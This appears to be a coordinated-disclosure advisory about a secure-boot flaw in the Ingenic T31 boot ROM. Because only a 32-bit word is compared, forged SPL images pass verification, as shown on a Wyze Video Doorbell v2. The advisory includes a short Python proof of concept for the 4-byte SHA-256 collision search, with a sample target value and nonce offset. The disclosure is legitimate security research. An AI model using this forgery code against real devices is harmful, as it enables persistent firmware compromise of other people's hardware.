32-bit partial comparison allows forged SPL images without the OEM signing key
Discovered: March 2026 · Vendor notified: March 17, 2026 · CVE assigned: June 2026
The Ingenic T31 SoC boot ROM implements secure boot verification for SPL (Secondary Program Loader) images using RSA-2048 and SHA-256. Due to an implementation flaw in the flash-boot verification path, the boot ROM compares only a single 32-bit word of the RSA-derived output against a single 32-bit word of the SHA-256 payload digest, rather than comparing the full cryptographic data. This reduces the effective security of the verification to 32 bits and allows an attacker with physical write access to the device's boot media to forge modified SPL images that pass secure boot verification without possession of the OEM signing key.
Each forgery attempt succeeds with approximately 2-in-3 probability. Re-salting the nonce provides independent trials. This has been validated via reverse engineering, software emulation against vendor-signed images, and end-to-end hardware acceptance of a forged firmware image on a Wyze Video Doorbell v2 (T31X).
Full technical details will be published following coordinated disclosure.
The following demonstrates the 4-byte SHA-256 collision search used to forge an SPL image. The target word is derived from the vendor signature and public key. A nonce is iterated until the first 32 bits of the payload hash match the target.
#!/usr/bin/env python3
"""T31 4-byte hash collision forgery — proof of concept."""
import hashlib, struct, sys
from pathlib import Path
def forge_collision(payload: bytes, target_word: int,
nonce_offset: int) -> int:
"""Find a 4-byte SHA-256 collision by brute-forcing a nonce."""
target_bytes = struct.pack('>I', target_word)
payload = bytearray(payload)
for nonce in range(2**32):
struct.pack_into('<I', payload, nonce_offset, nonce)
h = hashlib.sha256(bytes(payload)).digest()
if h[0:4] == target_bytes:
return nonce
return None
# Usage:
# target = 0x3024cc99 # derived from vendor signature
# nonce = forge_collision(payload, target, 0x3290)Expected work factor: 2^31 average iterations. On a 32-worker CPU search, ~15 MH/s throughput yields collision in 3-4 minutes.
Matt Davis (OpenSensor Engineering LLC) and Alfonso Gamboa — equal co-discovery.